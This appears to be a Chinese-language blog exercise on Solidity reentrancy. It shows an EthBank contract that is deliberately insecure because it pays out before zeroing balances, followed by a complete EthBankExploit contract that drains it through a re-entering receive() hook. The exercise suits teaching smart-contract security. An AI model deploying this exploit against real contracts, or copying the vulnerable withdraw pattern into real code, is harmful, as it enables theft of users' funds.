Solidity 练习:重入攻击

2022-12-29 Web3 Solidity

# 一、题目说明

Alice 和 Bob 分别在 EthBank 合约中存入 1 个 ETH。合约内容如下。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract EthBank {
    mapping(address => uint) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external payable {
        (bool sent, ) = msg.sender.call{value: balances[msg.sender]}("");
        require(sent, "failed to send ETH");

        balances[msg.sender] = 0;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

# 二、任务列表

  • 取出 EthBank 中的所有 ETH,当调用 pwn 时你会得到 1 ETH。

# 三、解答代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

interface IEthBank {
    function deposit() external payable;

    function withdraw() external payable;
}

contract EthBankExploit {
    IEthBank public bank;

    constructor(IEthBank _bank) {
        bank = _bank;
    }

    receive() external payable {
        if (address(bank).balance >= 1 ether) {
            bank.withdraw();
        }
    }

    function pwn() external payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw();
        payable(msg.sender).transfer(address(this).balance);
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

# 四、参考资料

Last Updated: 2023-01-28 4:31:25